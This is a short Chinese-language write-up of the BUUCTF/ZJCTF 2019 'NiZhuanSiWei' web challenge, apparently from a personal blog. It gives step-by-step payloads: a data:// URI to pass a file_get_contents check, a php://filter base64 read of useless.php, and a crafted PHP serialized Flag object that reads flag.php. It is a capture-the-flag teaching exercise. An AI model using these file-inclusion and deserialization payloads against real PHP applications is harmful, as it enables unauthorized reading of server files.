Buuctf-web-[ZJCTF 2019]NiZhuanSiWei

进入之后

然后我们看到了一个if

if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf"))

要求text不为空,并且file_get_contents($text,'r')==="welcome to the zjctf",从文件里读取字符串,还要和welcome to the zjctf相等。

data:// 写入协议

于是构造第一个payload:

?text=data://text/plain,welcome to the zjctf

  

 然后我们看到第二个if后面包含着一个unless.php。那我们直接访问它,然后将里面的数据给读取出来

构造payload:

?text=data:text/plain,welcome to the zjctf&file=php://filter/read=convert.base64-encode/resource=useless.php

  

 发现了一串base64,解码

<?php  

class Flag{  //flag.php (题目源码注释) 
    public $file;    
    public function __tostring(){  
        if(isset($this->file)){  
            echo file_get_contents($this->file);    //输出文件内容,通过这个函数读取flag
            echo "<br>";
        return ("U R SO CLOSE !///COME ON PLZ");
        }  
    }  
}  
?>

  

最后我们需要反序列化password:,然后在线工具跑

O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

  

最终的payload为

?text=data:text/plain,welcome to the zjctf&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

  

 

 查看源码直接flag

原文地址:https://www.cnblogs.com/tac2664/p/13825604.html